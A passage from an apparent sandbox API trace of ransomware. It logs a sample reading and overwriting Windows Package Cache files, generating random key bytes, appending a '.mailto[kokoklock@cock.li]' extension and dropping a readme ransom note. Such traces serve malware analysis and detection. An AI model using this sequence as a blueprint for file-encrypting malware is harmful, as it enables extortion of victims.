nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bdbf798, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2bdbf798*=0x4, lpOverlapped=0x0) returned 1 [0084.630] WriteFile (in: hFile=0x8e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2bdbf798, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2bdbf798*=0x6c, lpOverlapped=0x0) returned 1 [0084.630] WriteFile (in: hFile=0x8e4, lpBuffer=0x342d028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bdbf798, lpOverlapped=0x0 | out: lpBuffer=0x342d028*, lpNumberOfBytesWritten=0x2bdbf798*=0x20, lpOverlapped=0x0) returned 1 [0084.630] WriteFile (in: hFile=0x8e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bdbf798, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2bdbf798*=0x4, lpOverlapped=0x0) returned 1 [0084.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d028) returned 1 [0084.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0084.630] CloseHandle (hObject=0x8e4) returned 1 [0084.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348a338 [0084.630] wcscpy (in: _Dest=0x348a338, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0084.630] wcscat (in: _Dest=0x348a338, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0084.630] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.632] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.633] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a338) returned 1 [0084.633] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", dwFileAttributes=0x20) returned 0 [0084.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3431040 [0084.633] wcscpy (in: _Dest=0x3431040, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0084.633] wcscat (in: _Dest=0x3431040, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\D0E731-Readme.txt" [0084.633] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d0e731-readme.txt")) returned 0xffffffff [0084.633] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e4 [0084.634] WriteFile (in: hFile=0x8e4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2bdbf794, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2bdbf794*=0x481, lpOverlapped=0x0) returned 1 [0084.635] CloseHandle (hObject=0x8e4) returned 1 [0084.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431040) returned 1 [0084.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1670) returned 1 [0084.635] RtlExitUserThread (Status=0x1) Thread: id = 1251 os_tid = 0x1058 [0084.631] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe")) returned 0x80 [0084.636] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", dwFileAttributes=0x20) returned 1 [0084.636] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e4 [0084.636] GetFileSizeEx (in: hFile=0x8e4, lpFileSize=0x2be3fe00 | out: lpFileSize=0x2be3fe00*=781880) returned 1 [0084.636] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0xbee34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.636] ReadFile (in: hFile=0x8e4, lpBuffer=0x2be3fdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2be3fdd0, lpOverlapped=0x0 | out: lpBuffer=0x2be3fdd4*, lpNumberOfBytesRead=0x2be3fdd0*=0x4, lpOverlapped=0x0) returned 1 [0084.637] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0084.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0084.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0084.638] NtQuerySystemTime (in: CurrentTime=0x2be3fdac | out: CurrentTime=0x2be3fdac*=132121176425256065) returned 0x0 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xb6f57de5 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x7c8a9453 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x96b44d7e [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x1995c85d [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x9b7b2ff [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x60c5e5ca [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x8b4f49a2 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xa34e1e07 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x511cf5cf [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xb9a76499 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xed90a890 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xf7fa677c [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x7c727f89 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xf650b5b6 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xfe4bd200 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x7ae22bf2 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x2a36c572 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xec8dde5 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x9fd1d639 [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xe6ac7bbc [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xa15c750c [0084.638] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x4bc9d1d3 [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xf78da0c9 [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xd53cdd84 [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x6339b31e [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x76913725 [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xf248a586 [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xd3413f37 [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x521efc44 [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0x8bd60a2c [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xf327e989 [0084.639] RtlRandom (in: Seed=0x2be3fdb8 | out: Seed=0x2be3fdb8) returned 0xcdaec323 [0084.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34805e8) returned 1 [0084.649] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0084.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0084.649] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.649] ReadFile (in: hFile=0x8e4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2be3fd6c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2be3fd6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.651] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fdf0 [0084.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0084.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0084.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0084.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0084.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.652] WriteFile (in: hFile=0x8e4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2be3fd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2be3fd6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.652] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x60e10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.652] ReadFile (in: hFile=0x8e4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2be3fd6c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2be3fd6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.659] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x60e10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc98 [0084.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34801b0 [0084.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492208 [0084.659] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492208) returned 1 [0084.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492208 [0084.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0084.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0084.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801b0) returned 1 [0084.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc98) returned 1 [0084.660] WriteFile (in: hFile=0x8e4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2be3fd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2be3fd6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.660] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.660] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0xbada2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.660] ReadFile (in: hFile=0x8e4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2be3fd6c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2be3fd6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.661] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0xbada2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fe68 [0084.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0084.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0084.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0084.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0084.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0084.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fe68) returned 1 [0084.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.662] WriteFile (in: hFile=0x8e4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2be3fd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2be3fd6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.662] WriteFile (in: hFile=0x8e4, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2be3fdc8, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x2be3fdc8*=0x20, lpOverlapped=0x0) returned 1 [0084.662] WriteFile (in: hFile=0x8e4, lpBuffer=0x3492208*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2be3fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3492208*, lpNumberOfBytesWritten=0x2be3fdc8*=0x20, lpOverlapped=0x0) returned 1 [0084.662] WriteFile (in: hFile=0x8e4, lpBuffer=0x34917b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2be3fdc8, lpOverlapped=0x0 | out: lpBuffer=0x34917b8*, lpNumberOfBytesWritten=0x2be3fdc8*=0x20, lpOverlapped=0x0) returned 1 [0084.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0084.662] WriteFile (in: hFile=0x8e4, lpBuffer=0x342cf88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2be3fdd0, lpOverlapped=0x0 | out: lpBuffer=0x342cf88*, lpNumberOfBytesWritten=0x2be3fdd0*=0x8, lpOverlapped=0x0) returned 1 [0084.662] WriteFile (in: hFile=0x8e4, lpBuffer=0x2be3fde8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2be3fdd0, lpOverlapped=0x0 | out: lpBuffer=0x2be3fde8*, lpNumberOfBytesWritten=0x2be3fdd0*=0x4, lpOverlapped=0x0) returned 1 [0084.662] WriteFile (in: hFile=0x8e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2be3fdd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2be3fdd0*=0x4, lpOverlapped=0x0) returned 1 [0084.662] WriteFile (in: hFile=0x8e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2be3fdd0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2be3fdd0*=0x6c, lpOverlapped=0x0) returned 1 [0084.663] WriteFile (in: hFile=0x8e4, lpBuffer=0x342e798*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2be3fdd0, lpOverlapped=0x0 | out: lpBuffer=0x342e798*, lpNumberOfBytesWritten=0x2be3fdd0*=0x20, lpOverlapped=0x0) returned 1 [0084.663] WriteFile (in: hFile=0x8e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2be3fdd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2be3fdd0*=0x4, lpOverlapped=0x0) returned 1 [0084.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0084.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d028) returned 1 [0084.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.663] CloseHandle (hObject=0x8e4) returned 1 [0084.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf6) returned 0x3479e38 [0084.663] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0084.663] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731" [0084.663] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.664] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0084.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.664] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", dwFileAttributes=0x80) returned 0 [0084.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430b00 [0084.664] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0084.664] wcscat (in: _Dest=0x3430b00, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\D0E731-Readme.txt" [0084.664] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\d0e731-readme.txt")) returned 0x20 [0084.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0084.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430980) returned 1 [0084.664] RtlExitUserThread (Status=0x1) Thread: id = 1252 os_tid = 0x1060 [0084.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3487e40 [0084.650] wcscpy (in: _Dest=0x3487e40, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0084.650] wcscat (in: _Dest=0x3487e40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\" [0084.650] wcscat (in: _Dest=0x3487e40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*" [0084.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f6530 [0084.650] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0498 [0086.546] wcscmp (_String1=".", _String2=".") returned 0 [0086.546] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.546] wcscmp (_String1="..", _String2=".") returned 1 [0086.546] wcscmp (_String1="..", _String2="..") returned 0 [0086.546] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f6530 | out: lpFindFileData=0x33f6530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0086.547] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0086.547] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0086.547] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xee) returned 0x34835a0 [0086.547] wcscpy (in: _Dest=0x34835a0, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package 